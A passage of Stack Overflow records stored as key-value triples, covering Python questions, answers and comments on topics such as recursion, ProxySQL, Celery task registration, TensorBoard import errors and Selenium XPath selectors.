has body: You need the nextSibling of your span element and not the text inside span! Note: Use strip() to remove the trailing newline. &gt;&gt;&gt; with open("doc.html") as fp: ... soup = BeautifulSoup(fp, 'html.parser') ... for line in soup.find_all('span'): ... print line.nextSibling.strip() ... Automated Scalable Bayesian Inference via Hilbert Coresets PASS-GLM: polynomial approximate sufficient statistics for scalable Bayesian GLM inference Covariances, Robustness, and Variational Bayes Edge-exchangeable graphs and sparsity (NIPS 2016) Fast Measurements of Robustness to Changing Priors in Variational Bayes Boosting Variational Inference &gt;&gt;&gt;
answers question: http://stackoverflow.com/q/46997325
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/q/46965050
tagged with: recursion
accepted answer: http://stackoverflow.com/a/46965072
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/80877907
has comment: http://stackoverflow.com/comment/80877892
has body: The title is a little weird, but I don't know exactly how this is called, so plz forgive me with the abstract title.... I've found a code like this online: def lcs(xstr, ystr): """ &gt;&gt;&gt; lcs('thisisatest', 'testing123testing') 'tsitest' """ if not xstr or not ystr: return "" x, xs, y, ys = xstr[0], xstr[1:], ystr[0], ystr[1:] if x == y: return x + lcs(xs, ys) else: return max(lcs(xstr, ys), lcs(xs, ystr), key=len) I am new to python, and I don't understand how you can call lcs(xs, ys) in return x + lcs(xs, ys) To my understanding, lcs() is not yet fully defined, and I'm confused how you can call a function of itself inside itself.... Also, I don't know what key = len is doing in max(lcs(xstr, ys), lcs(xs, ystr), key=len) I know how max( 1st, 2nd ) works, but I don't know what the third parameter is doing. What does "key" mean, and why is "len" used as a value of "key"?
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46965072
has title: function that contains a function of itself?
tagged with: lcs
upvote count: 1
tagged with: key
downvote count: 1
answer count: 1
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/comment/80759990
has text: Need always 15 minutes after posting, so after 8 minutes it is possible ;)
type: AnswerComment
comment on: http://stackoverflow.com/a/46906520
score: 0
type: Comment

boolean-logic
tags question: http://stackoverflow.com/q/46927821
tag name: boolean-logic
type: Tag
tags question: http://stackoverflow.com/q/46999225
tags question: http://stackoverflow.com/q/46936768
tags question: http://stackoverflow.com/q/46971620
tags question: http://stackoverflow.com/q/46988463

http://stackoverflow.com/q/46931948
accepted answer: http://stackoverflow.com/a/47520742
score: 2
type: AnsweredQuestion
upvote count: 2
has body: I have Percona XtraDB Cluster running in 3 nodes (node1, node2, node3). I've configured ProxySQL in the 4th node (admin). I have an python application code trying to access the cluster. While connecting to 3306 port of node1, I'm able to connect. import MySQLdb as mdb db = mdb.connect(host="node1", port=3306,user="root", passwd="*****", db="percona") In order to achieve load balancing, the application should point to the ProxySQL port 6032. import MySQLdb as mdb db = mdb.connect(host="admin", port=6032,user="admin", passwd="*****", db="percona") While trying to connect, I'm getting the following error: OperationalError: (1045, "ProxySQL Error: Access denied for user 'admin'@'' (using password: YES)") I used the grant privilages command in the proxysql grant all privileges on percona.* to 'admin'@'%' identified by password 'bullet'; Unfortunately, I got the following error, ERROR 1045 (#2800): near "grant": syntax error Correct me if I'm wrong. Should I use some other configuration to connect to the Percona XtraDB Cluster?
tagged with: percona-xtradb-cluster
downvote count: 0
answer count: 1
tagged with: mysql
has comment: http://stackoverflow.com/comment/98095854
tagged with: proxysql
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47520742
tagged with: mysql-cluster
tagged with: python
has title: How to connect to ProxySQL from application

http://stackoverflow.com/a/46990757
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46985506
has body: Are you missing a move() in while True: cv2.imshow("frame",frame)

http://stackoverflow.com/comment/80943590
comment on: http://stackoverflow.com/a/46998074
score: 0
type: Comment
has text: I've updated my answer. Now you can see that content is changed after each click
type: AnswerComment

http://stackoverflow.com/q/47005608
has title: Finding all the 10-digit prime numbers, that have seven "7" in a row - Python
has comment: http://stackoverflow.com/comment/80957995
favorite count: 0
type: Question
score: 3
possible better answer: http://stackoverflow.com/a/47005674
has answer: http://stackoverflow.com/a/47010568
tagged with: python
tagged with: primes
has answer: http://stackoverflow.com/a/47005730
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47005674
upvote count: 3
accepted answer: http://stackoverflow.com/a/47005730
tagged with: list
answer count: 3
has body: so as it states in the title, I'm trying to generate a list of all the 10-digit prime numbers, that have 7x7 in a row. More precisely, I mean the numbers that can be written as follows: xxx7777777, xx7777777x, x7777777xx, 7777777xxx. My idea is to generate a list of all this numbers, and then check which one of them is prime. The code is as follows: import time def GeneratingTable(): A = [] for i in range (1,10): for j in range (0,10): for k in range (0,10): A.append(i*1000000000+j*100000000+k*10000000+7777777) for i in range (1,10): for j in range (0,10): for k in range (1,10): A.append(i*1000000000+j*100000000+77777770+k) for i in range (1,10): for j in range (0,10): for k in range (1,10): A.append(i*1000000000+777777700+10*j+k) for i in range (0,10): for j in range (0,10): for k in range (1,10): A.append(7777777000+i*100+j*10+k) A = list(set(A)) # I want to get rid of duplicats here print(len(A)) return A def ifPrime(n): # Maybe I can use more efficient algorithm? Prime = 1 i = 2 while i * i &lt;= n: if n%i == 0: Prime = 0 break i += 2 if Prime == 1: return 1 else: return 0 def HowMany(): counter = 0 A = GeneratingTable() for i in range (len(A)): if ifPrime(A[i]): print(A[i]) counter += 1 return counter start = time.clock() print(HowMany()) end = time.clock() time = end - start print(time) I am sure the number of primes I get this way is to high - it's 2115 and the number of elements in my list A is 3159. Is it a problem with my function "GeneratingTable" or checking whether the number is prime?
downvote count: 0

http://stackoverflow.com/a/50171013
type: Answer
accepted answer of: http://stackoverflow.com/q/47033499
score: 1
type: AcceptedAnswer
has body: I did refresh on the gcloud creds after updating the cli to the latest version
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47033499

http://stackoverflow.com/comment/80829561
comment on: http://stackoverflow.com/q/46941152
score: 0
has text: What is the formula you want to implement ? Interest rate calculation has finesses. What have you already tried?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46971673
has body: WinAppDbg is only for Python 2.x, it does not work on Python 3.x. Honestly, I had no idea it would even let you import it. All those import errors are happening not because of missing dependencies (also, no idea there were similarly named modules in pip), they are submodules of WinAppDbg itself. Since Python 3 has a different syntax to specify those, it tries to load them as external modules instead. I suppose you could fix that in the sources by prepending a dot before every submodule import, but I'm guessing more stuff would break down the road (string handling for example is radically different and that would affect the ctypes layer). TL;DR: use Python 2.x.
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46922483
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46922483
type: Answer

http://stackoverflow.com/a/47031847
score: 0
type: AcceptedAnswer
has body: Your approach is good. This is an alternative that calls approx_tp every time: def eq_tp(temp, pres, initairf=None, initdhum=None): x0 = [default if value is None else value for default, value in zip(approx_tp(temp, pres), [initairf, initdhum])] If you want to call the function only if necessary, you can use this version: def eq_tp(temp, pres, initairf=None, initdhum=None): default_args = default_values = (initairf, initdhum) if any(init is None for init in default_args): default_values = approx_tp(temp, pres) x0 = [default if value is None else value for default, value in zip(default_values, default_args)] This would also work for three or more default arguments without adding more lines, just add them to default_args.
has comment: http://stackoverflow.com/comment/81178094
accepted answer of: http://stackoverflow.com/q/47030977
type: Answer
has comment: http://stackoverflow.com/comment/81192226
answers question: http://stackoverflow.com/q/47030977

http://stackoverflow.com/comment/80935224
score: 0
has text: Why is that a limiting factor?
comment on: http://stackoverflow.com/q/46994266
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47055077
has comment: http://stackoverflow.com/comment/81071493
type: Answer
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47054962
has body: You might need to pip install Beautiful Soup 4 into your virtual environment. pip install beautifulsoup4
has comment: http://stackoverflow.com/comment/81057220
has comment: http://stackoverflow.com/comment/81057964
answers question: http://stackoverflow.com/q/47054962
score: 0

http://stackoverflow.com/comment/80983211
comment on: http://stackoverflow.com/a/47004694
has text: yes, just changed it to 'float_' to avoid potential conflict with the imported float64.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47148421
answers question: http://stackoverflow.com/q/46907724
score: 0
has comment: http://stackoverflow.com/comment/81270261
has body: If I'm understanding the question correctly... Something like this? def check_for_current_appt(appt_epoch, appt_duration): '''INPUT : appt_timestamp (int (epoch time)): start time for appointment appt_duration (int): duration of appointment in seconds OUTPUT : appt_underway (bool): True if appointment is currently underway''' now = time.time() appt_underway = 0 &lt; (now - appt_epoch) &lt; appt_duration return appt_underway I'll leave it to you to convert to epoch time and seconds for the duration
type: Answer

http://stackoverflow.com/comment/80828337
score: 0
comment on: http://stackoverflow.com/q/46940550
has text: `order` is a keyword, https://stackoverflow.com/questions/3137910/how-can-i-make-a-table-in-mysql-called-order, this can help
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46942778
tagged with: mechanicalsoup
has answer: http://stackoverflow.com/a/46944509
type: Question
has comment: http://stackoverflow.com/comment/80833194
score: 0
has comment: http://stackoverflow.com/comment/80833231
tagged with: urllib
tagged with: beautifulsoup
has title: Python Web-Scraping CSRF Token Issue
has comment: http://stackoverflow.com/comment/80833349
tagged with: web-scraping
tagged with: python
linked to: http://stackoverflow.com/q/12543848
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80833383
has comment: http://stackoverflow.com/comment/80833837
answer count: 1
has comment: http://stackoverflow.com/comment/80833107
has body: I am using MechanicalSoup to login to a website via Python 3.6 and I'm having issues with the CSRF token. Every time i request the html back i read "Invalid CSRF token: Forbidden". Searching the html on the login page, the closest match for a element id that looks like the token is "autheticity_token" which appears to be already filled in with the token. I was able to use "re" module to extract the token and resubmit it to the element with the id i talked about above but no luck. Note, i had to find the element by id since a name is not provided for it (this is why my Robobrowser way of doing it didn't work). This is the element that I think corresponds to the CSRF: &lt;input id="authenticity_token" type="hidden" value="b+csp/9zR/a1yfuPPIYJSiR0v8jJUTaJaGqJmJPmLmivSn4GtLgvek0nyPvcJ0aOgeo0coHpl94MuH/r1OK5UA=="&gt; I would extract, in this case "b+csp/9zR/a1yfuPPIYJSiR0v8jJUTaJaGqJmJPmLmivSn4GtLgvek0nyPvcJ0aOgeo0coHpl94MuH/r1OK5UA==" and resubmit it to that element Here is my code with dummy values for user,pass, and url import mechanicalsoup import re def return_token(str1): match1 = "authenticity_token" match2 = ".*value\=\"(.*)\".*" for x in range(len(str1)): line = str1[x] if re.findall(match1,line): token = re.findall(match2,line)[0] return token url1 = "" username = "" password = "" browser = mechanicalsoup.Browser() page = browser.get(url1) str0 = page.text token = return_token(str0.split('\n')) #print(str0) form = page.soup.find("form",{"id":"loginForm"}) form.find('input', {'name': 'username'})['value'] = username form.find('input', {'name': 'password'})['value'] = password form.find('input', {'id': 'authenticity_token'})['value'] = str(token) response = browser.submit(form, page.url) print(response.text)

http://stackoverflow.com/comment/80972981
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47010745
has text: @igrinis nope, doesn't work which kind of makes sense... :)
score: 0

http://stackoverflow.com/comment/80935241
has text: Sorry! This doesn't work as it gets rid of the original ids (and I can't figure out how to match them back with these results). What I am really looking for as an output is a list or set of the ids that fulfill the condition.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46992337
type: Comment

http://stackoverflow.com/q/46928922
favorite count: 0
type: Question
answer count: 2
has title: pythonic way to find all potential longest sequence
upvote count: 2
downvote count: 0
tagged with: python
possible better answer: http://stackoverflow.com/a/46929120
has answer: http://stackoverflow.com/a/46929120
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/46929064
has answer: http://stackoverflow.com/a/46929064
has body: So, I have a list like following potential_labels = ['foo', 'foo::bar', 'foo::bar::baz', "abc", "abc::cde::def", "bleh"] The desired_output = ['foo::bar::baz', "abc::cde::def", "bleh"] This is because.. for root "foo", 'foo::bar::baz' is the longest sequence for "abc", "abc::cde::def", and for "bleh" it "bleh" Is there any python inbuilt function which does this.. I feel like there is almost something in itertools which does this but cant seem to figure this out.

http://stackoverflow.com/comment/80939628
comment on: http://stackoverflow.com/q/46996378
score: 0
type: Comment
has text: done formatting
type: QuestionComment

selenium
tags question: http://stackoverflow.com/q/47064590
tags question: http://stackoverflow.com/q/46989541
tags question: http://stackoverflow.com/q/47010260
tags question: http://stackoverflow.com/q/46999965
tags question: http://stackoverflow.com/q/46972535
tags question: http://stackoverflow.com/q/47061548
tags question: http://stackoverflow.com/q/47047605
tags question: http://stackoverflow.com/q/47023188
tags question: http://stackoverflow.com/q/46917960
tags question: http://stackoverflow.com/q/47019839
tags question: http://stackoverflow.com/q/46908505
tags question: http://stackoverflow.com/q/47044965
tags question: http://stackoverflow.com/q/47012435
tags question: http://stackoverflow.com/q/46951433
tags question: http://stackoverflow.com/q/47048098
tags question: http://stackoverflow.com/q/46914068
tags question: http://stackoverflow.com/q/46966318
tags question: http://stackoverflow.com/q/46968777
tags question: http://stackoverflow.com/q/47038692
tags question: http://stackoverflow.com/q/46963104
tags question: http://stackoverflow.com/q/47026397
tags question: http://stackoverflow.com/q/46939900
tags question: http://stackoverflow.com/q/47038152
tags question: http://stackoverflow.com/q/47010131
tags question: http://stackoverflow.com/q/46988143
tags question: http://stackoverflow.com/q/47054324
tags question: http://stackoverflow.com/q/47051875
tags question: http://stackoverflow.com/q/46908136
tags question: http://stackoverflow.com/q/47047223
tags question: http://stackoverflow.com/q/46943244
tags question: http://stackoverflow.com/q/46995486
tags question: http://stackoverflow.com/q/47030635
tags question: http://stackoverflow.com/q/46919266
tags question: http://stackoverflow.com/q/46938990
tags question: http://stackoverflow.com/q/47023842
tags question: http://stackoverflow.com/q/46973081
tags question: http://stackoverflow.com/q/46996413
tags question: http://stackoverflow.com/q/46953706
tags question: http://stackoverflow.com/q/46915072
tags question: http://stackoverflow.com/q/47032413
tags question: http://stackoverflow.com/q/47025394
tags question: http://stackoverflow.com/q/46918625
tags question: http://stackoverflow.com/q/46974338
tags question: http://stackoverflow.com/q/47063953
tags question: http://stackoverflow.com/q/46998740
tags question: http://stackoverflow.com/q/47059040
tags question: http://stackoverflow.com/q/46959291
tags question: http://stackoverflow.com/q/46951364
tags question: http://stackoverflow.com/q/47046705
tags question: http://stackoverflow.com/q/46906620
tags question: http://stackoverflow.com/q/47003637
tags question: http://stackoverflow.com/q/47020772
tags question: http://stackoverflow.com/q/46929976
tags question: http://stackoverflow.com/q/46926654
tags question: http://stackoverflow.com/q/47007017
tags question: http://stackoverflow.com/q/46933679
tags question: http://stackoverflow.com/q/46985819
tags question: http://stackoverflow.com/q/46990402
tags question: http://stackoverflow.com/q/46962152
tags question: http://stackoverflow.com/q/46992406
tags question: http://stackoverflow.com/q/46991839
tags question: http://stackoverflow.com/q/47062808
tags question: http://stackoverflow.com/q/46947094
tags question: http://stackoverflow.com/q/46960575
tags question: http://stackoverflow.com/q/46958263
tags question: http://stackoverflow.com/q/46928971
tags question: http://stackoverflow.com/q/46922527
type: Tag
tags question: http://stackoverflow.com/q/47042358
tags question: http://stackoverflow.com/q/46969825
tags question: http://stackoverflow.com/q/47029113
tags question: http://stackoverflow.com/q/46985895
tags question: http://stackoverflow.com/q/46939451
tags question: http://stackoverflow.com/q/46964509
tags question: http://stackoverflow.com/q/46936931
tags question: http://stackoverflow.com/q/46997198
tags question: http://stackoverflow.com/q/46983217
tags question: http://stackoverflow.com/q/46937319
tags question: http://stackoverflow.com/q/47011606
tags question: http://stackoverflow.com/q/47036274

http://stackoverflow.com/comment/80967562
type: QuestionComment
has text: check out https://stackoverflow.com/questions/37113173/compare-2-excel-files-using-python
comment on: http://stackoverflow.com/q/47010570
score: 0
type: Comment

http://stackoverflow.com/q/47007967
has answer: http://stackoverflow.com/a/56189470
has answer: http://stackoverflow.com/a/47186275
downvote count: 0
answer count: 3
has answer: http://stackoverflow.com/a/48856522
type: UnansweredQuestion
score: 4
tagged with: tensorflow
favorite count: 0
has body: I'm getting an error opening tensorboard. This is my code: import tensorflow as tf a = tf.constant(5,name = 'input_a') b = tf.constant(3,name = 'input_b') c = tf.multiply(a,b,name='mul_c') d = tf.add(a,b,name='add_d') e = tf.add(c,d,name = 'add_e') with tf.Session() as sess: output = sess.run(e) print(output) writer = tf.summary.FileWriter('path/to/log',tf.get_default_graph()) writer.close() This is the command: tensorboard --logdir=path/to/log This is the ERROR: File "c:\programdata\anaconda3\lib\runpy.py", line 85, in _run_code exec(code, run_globals) File "C:\ProgramData\Anaconda3\Scripts\tensorboard.exe__main__.py", line 5, in File "c:\programdata\anaconda3\lib\site-packages\tensorboard\main.py", line 36, in from tensorboard.plugins.audio import audio_plugin File "c:\programdata\anaconda3\lib\site-packages\tensorboard\plugins\audio\audio_plugin.py", line 27, in from tensorboard import plugin_util File "c:\programdata\anaconda3\lib\site-packages\tensorboard\plugin_util.py", line 21, in import bleach File "c:\programdata\anaconda3\lib\site-packages\bleach__init__.py", line 14, in from html5lib.sanitizer import HTMLSanitizer File "c:\programdata\anaconda3\lib\site-packages\html5lib\sanitizer.py", line 7, in from .tokenizer import HTMLTokenizer File "c:\programdata\anaconda3\lib\site-packages\html5lib\tokenizer.py", line 17, in from .inputstream import HTMLInputStream File "c:\programdata\anaconda3\lib\site-packages\html5lib\inputstream.py", line 9, in from .constants import encodings, ReparseException ImportError: cannot import name 'encodings'
has comment: http://stackoverflow.com/comment/80990134
tagged with: tensorboard
has title: Error opening tensorboard
tagged with: python
upvote count: 4
type: Question

apache-spark
tags question: http://stackoverflow.com/q/47041613
tags question: http://stackoverflow.com/q/46949953
tags question: http://stackoverflow.com/q/47056888
tags question: http://stackoverflow.com/q/47002331
tags question: http://stackoverflow.com/q/47019662
tags question: http://stackoverflow.com/q/46939582
tags question: http://stackoverflow.com/q/46974092
tags question: http://stackoverflow.com/q/46943015
tags question: http://stackoverflow.com/q/46991611
tags question: http://stackoverflow.com/q/46956026
tags question: http://stackoverflow.com/q/46970209
tags question: http://stackoverflow.com/q/46934199
tags question: http://stackoverflow.com/q/46935705
tags question: http://stackoverflow.com/q/46956923
tags question: http://stackoverflow.com/q/47060294
tags question: http://stackoverflow.com/q/47022409
tags question: http://stackoverflow.com/q/47064042
tags question: http://stackoverflow.com/q/46905903
tags question: http://stackoverflow.com/q/46930662
tags question: http://stackoverflow.com/q/46934341
tags question: http://stackoverflow.com/q/47004009
tags question: http://stackoverflow.com/q/47026948
tags question: http://stackoverflow.com/q/46913258
tags question: http://stackoverflow.com/q/46980635
type: Tag
tag name: apache-spark
tags question: http://stackoverflow.com/q/47001857
tags question: http://stackoverflow.com/q/46944493
tags question: http://stackoverflow.com/q/46957801
tags question: http://stackoverflow.com/q/47007512

http://stackoverflow.com/q/47006311
type: AnsweredQuestion
answer count: 2
score: 2
has title: How to pad a character with spaces when it falls between a unicode range?
upvote count: 2
downvote count: 0
tagged with: string
has comment: http://stackoverflow.com/comment/80959852
tagged with: unicode
favorite count: 0
type: Question
has body: The goal is to pad a character with spaces when the issubset condition is met, e.g. [in]: subset = [chr(ordinal) for ordinal in range(ord(u'\u31c0'), ord(u'\u31ef'))] text = '这是个小㇈㇋伙子' [out]: output_text = '这是个小 ㇈ ㇋ 伙子' I could do it as such: def issubset(uchar): if u'\u31c0' &lt;= uchar &lt;= u'\u31ef': return True return False def pad_space_ifsubset(text): output = "" for ch in text: if issubset(ch): output += " " + ch + " " else: output += ch return output text = '这是个小㇈㇋伙子' pad_space_ifsubset(text) But is there a simpler way to do this? Perhaps with regex?
accepted answer: http://stackoverflow.com/a/47006380
tagged with: python
tagged with: python-2.x
tagged with: regex
possible better answer: http://stackoverflow.com/a/47006406
has answer: http://stackoverflow.com/a/47006380
has answer: http://stackoverflow.com/a/47006406
has comment: http://stackoverflow.com/comment/80959207

http://stackoverflow.com/comment/81054240
has text: I don't really think this is going to be easy. Dictionaries have no order in python, so it isn't possible to know whether a key is at the top of the chain or not.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47053658
score: 0

http://stackoverflow.com/comment/80783209
score: 1
has text: Nvm, just use an iteration... Thanks a lot, this solve the problem.
comment on: http://stackoverflow.com/a/46917602
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47049240
has comment: http://stackoverflow.com/comment/81046271
downvote count: 0
has title: How to process a Celery task on a specific vhost?
favorite count: 0
tagged with: celery
type: Question
has answer: http://stackoverflow.com/a/47049848
score: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47059973
upvote count: 5
tagged with: python
has body: I have a Celery task like: from celery.task import task from django.conf import settings from base.tasks import BaseTask @task(name="throw_exception", base=BaseTask) def print_value(*args, **kwargs): print('BROKER_URL:', settings.BROKER_URL) and I'm running a Celery worker inside my virtualenv like: celery worker -A myproject -l info The Worker shows: Connected to amqp://guest:**@127.0.0.1:5672/myapp And when I launch my task from the Django shell with: &gt;&gt;&gt; from django.conf import settings &gt;&gt;&gt; settings.BROKER_URL 'amqp://guest:**@127.0.0.1:5672/myapp' &gt;&gt;&gt; from myapp.tasks import print_value &gt;&gt;&gt; print_value.delay() I never see the task executed in my worker's log. However, if I instead change my worker to use a BROKER_URL with the default "/" vhost, then it immediately executes all the pending tasks, implying all my calls of print_value.delay() are sending it to the wrong vhost even though the correct BROKER_URL is set. What am I doing wrong? Edit: The problem seems to be Celery doesn't have a consistent @task decorator, and by using the wrong decorator, you disconnect the task from your broker settings. So essentially, all my tasks are configured to use the default broker, instead of the one defined in my settings. The old docs say to use from celery.task import task but the new docs...don't really specify, and seem to imply you should use the app instance defined in your celery.py file, like @app.task. The problem with this is that all my tasks are in separate tasks.py files, where they can't access the app instance. If I copy a task into my celery.py and use the @app.task decorator, then it uses the correct vhost and works as expected, but obvious, this isn't a practical fix, because I'd have to copy dozens of functions into this file. How do I fix this properly?
has comment: http://stackoverflow.com/comment/81046334
tagged with: django
has answer: http://stackoverflow.com/a/66286529
answer count: 3
has comment: http://stackoverflow.com/comment/81046380

http://stackoverflow.com/comment/81328481
has text: You can check my solution here: https://github.com/habisl/My-Python-Workplace/blob/master/jsonreader.py
comment on: http://stackoverflow.com/a/47031335
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80998649
type: Comment
comment on: http://stackoverflow.com/a/47025748
type: AnswerComment
has text: @RS That's correct. This program will send a message to yourself :D. Unless talking to yourself is what you want?
score: 2

http://stackoverflow.com/q/47050010
tagged with: python
tagged with: asynchronous
type: Question
has body: I can't figure out how to define celery tasks in a modular way (i.e. not all tasks in the same file) and register them correctly for asynchronous use. I've tried all options I can think off: using the decorator based tasks using class based tasks using autodiscover_tasks on celery app object registering tasks manually, i.e. app.tasks.register(Task1()) for a class based task executing celery worker in same directory as celery_app.py executing celery worker in the directory above the one containing celery_app.py specifying the app for the celery worker command with the -A option. not specifying the app for the celery worker specifying an empty "name" property in the class based task. specifying a name property containing with the correct module Whatever I do, I always end up with 'KeyError' thrown by the task registry, but only when executing with apply_async. The synchronous version always works fine. If anyone could give me a hint on what I should do to fix this, please share. Here is a minimal example: minimal task1 __init__.py task.py task2 __init__.py task.py __init__.py celery_app.py start.sh test.py minimal.task1.task # -*- coding: utf-8 -*- from celery import Task from minimal2.celery_app import app class Task1(Task): name = "" def run(self, number): return number / 2.0 app.tasks.register(Task1()) minimal.task2.task # -*- coding: utf-8 -*- from celery import Task from minimal2.celery_app import app class Task2(Task): name = "minimal2.task2.task.Task2" def run(self, number): return number * number app.tasks.register(Task2()) minimal2.celery_app # -*- coding: utf-8 -*- from celery import Celery app = Celery('minimal', backend='amqp', broker='amqp://') app.autodiscover_tasks(['task1', 'task2'], 'task') minimal2/start.sh #!/bin/bash set -e start_celery_service() { name=$1 pid_file_path="$(pwd)/${name}.pid" if [ -e "${pid_file_path}" ] ; then kill $(cat ${pid_file_path}) &amp;&amp; : sleep 3.0 rm -f "${pid_file_path}" # just in case the file was stale fi celery -A …
tagged with: ipc
upvote count: 2
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/47050509
tagged with: rabbitmq
tagged with: celery
favorite count: 0
has title: celery task registry for asynchronous tasks
has answer: http://stackoverflow.com/a/47050509
score: 2
type: AnsweredQuestion

http://stackoverflow.com/q/46927076
has comment: http://stackoverflow.com/comment/80801660
favorite count: 0
type: Question
has body: I'm getting this error when using Python's MySQL Connector library: Incorrect date value: 'STR_TO_DATE('2017-10-19T16:57:56Z','%Y-%m-%d%@%H:%i:%s%@')' for column 'estimated_delivery' Essentially I'm using this matching string: %Y-%m-%d%@%H:%i:%s%@ For this input: 2017-10-19T16:57:56Z I'm confused about where this error possibly could be =/
has comment: http://stackoverflow.com/comment/80801196
tagged with: python
score: 0
tagged with: sql
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46941654
answer count: 1
has title: MySQL STR_TO_DATE "Incorrect date value" in Python 2.7
tagged with: mysql
upvote count: 1
has comment: http://stackoverflow.com/comment/80801471
downvote count: 1

http://stackoverflow.com/q/46984781
possible better answer: http://stackoverflow.com/a/46984856
has answer: http://stackoverflow.com/a/46984856
accepted answer: http://stackoverflow.com/a/46984841
has answer: http://stackoverflow.com/a/46984841
answer count: 4
type: Question
has answer: http://stackoverflow.com/a/46984820
tagged with: python
has body: I've been presented with the task of turning a string of mixed numbers ("1 3 5 8 10"), for example, and my goal is to put these numbers into a list as integers. I have the knowledge and know-how to split the string and int() them to turn them in to integers, but the issue comes in how I'm doing it. The specific issue I'm having is when it comes to looping through the string, finding the chars, and turning them into ints. As it's looping through and gets to 10 (or any 2 digit number), it turns each number into its own digit; so: 10 would be [1, 0], not [10]. Please excuse the mess of code here, I've been trying to see what's going on each step with prints: def iq_test(numbers): print(numbers) nums = [] numbers.split(" ") nums.append(numbers) print (numbers) for char in numbers: if char == " ": del char else: nums.append(int(char)) # Problem arises here, where a 2 digit number is being added to the list as 2 separate numbers print(nums) Still very new to coding, so if you notice a major logic problem I'm running into, I'd appreciate it if you pointed it out to me.
has title: String of numbers to a list of integers?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46984810
score: 0

http://stackoverflow.com/comment/80931050
comment on: http://stackoverflow.com/q/46991680
type: QuestionComment
score: 0
has text: Because I dont understand logic - how I know what teams are count in column?
type: Comment

http://stackoverflow.com/comment/80930075
comment on: http://stackoverflow.com/q/46991677
score: 0
has text: I can't tell why the file was not found (your path apparently doesn't exist. The error with `r` is that you put a space between the `r` and the opening quote.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47006817
tagged with: django
tagged with: python
has body: When running an SQL such as the following; SELECT * FROM items WHERE item_name IN ('fish', 'frog', 'fish') I get 1 frog, and 1 fish. This is expected and normal behaviour, as the WHERE clause no doubt evaluates against each row in the database individually. However, in my current application I need a full row returned for each item in the WHERE clause. The way I'm currently doing it is fetching the full contents of the IN statement, then running a second query fetching each of those objects. In python, I am then duplicating the rows as required. But if I could get sql to do it for me, it'll mean 1 less round trip to the database. Can you force a database to return a response per entry in an IN? Example data; items id | name | price 1 | frog | 4 2 | fish | 3 objects for users id | user_id | item_name 1 | 1 | fish 1 | 1 | frog 1 | 1 | fish I'm aware that item_name should be a foreign key to item instead - but for frustrating legacy reasons, this is not currently possible. An ideal solution would have me easily be able to accomplish this through the Django ORM - however if that's not sanely possible, other answers are more than welcome.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80960405
answer count: 3
has comment: http://stackoverflow.com/comment/80960434
tagged with: sql
score: 1
has comment: http://stackoverflow.com/comment/80960235
downvote count: 0
has title: How do you make SQL return duplicates?
upvote count: 1
possible better answer: http://stackoverflow.com/a/47007290
has comment: http://stackoverflow.com/comment/80960332
accepted answer: http://stackoverflow.com/a/47006835
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47007290
has answer: http://stackoverflow.com/a/47009746
has answer: http://stackoverflow.com/a/47006835
tagged with: postgresql

http://stackoverflow.com/comment/81069077
type: Comment
score: 0
has text: Oh I see what you mean, why does my is_str evaluate to False?
type: QuestionComment
comment on: http://stackoverflow.com/q/47060564

django-nose
tags question: http://stackoverflow.com/q/46970125
tag name: django-nose
type: Tag

xvfb
type: Tag
tag name: xvfb
tags question: http://stackoverflow.com/q/47016113

http://stackoverflow.com/q/47052484
has answer: http://stackoverflow.com/a/47056923
accepted answer: http://stackoverflow.com/a/47056923
tagged with: selenium-webdriver
type: AnsweredQuestion
score: 0
has title: How to use the Selenium WebDriver findElement (By.xpath ())?
answer count: 2
has body: please, I'm trying to get information from a public website of the Brazilian congress: name of a voting session, date and table with list of votes This site: http://www2.camara.leg.br/atividade-legislativa/plenario/chamadaExterna.html?link=http://www.camara.gov.br/internet/votacao/mostraVotacao.asp?ideVotacao=6706&amp;tipo=partido I used Python 3, selenium webdriver and PhantomJS: from selenium import webdriver path_to_phantomjs = '/Users/George/Documents/phantomjs/phantomjs-2.1.1-windows/bin/phantomjs' browser = webdriver.PhantomJS(executable_path = path_to_phantomjs) browser.get("http://www2.camara.leg.br/atividade-legislativa/plenario/chamadaExterna.html?link=http://www.camara.gov.br/internet/votacao/mostraVotacao.asp?ideVotacao=6706&amp;tipo=partido") nome_votacao = browser.find_element_by_xpath("//[@id='corpoVotacao']/p[3]/text()") data_votacao = browser.find_element_by_xpath("//[@id='corpoVotacao']/div[1]/div[1]/div/div/p[1]/text()[1]") list_deputados = browser.find_elements_by_xpath(".//table[@class='tabela-2']") But it looks like I'm wrongly selecting locations The nome_votacao appears this error message: --------------------------------------------------------------------------- InvalidSelectorException Traceback (most recent call last) &lt;ipython-input-11-e67933637ae0&gt; in &lt;module&gt;() ----&gt; 1 nome_votacao = browser.find_element_by_xpath("//[@id='corpoVotacao']/p[3]/text()") c:\users\george\appdata\local\programs\python\python36-32\code\votos\lib\site-packages\selenium\webdriver\remote\webdriver.py in find_element_by_xpath(self, xpath) 363 driver.find_element_by_xpath('//div/td[1]') 364 """ --&gt; 365 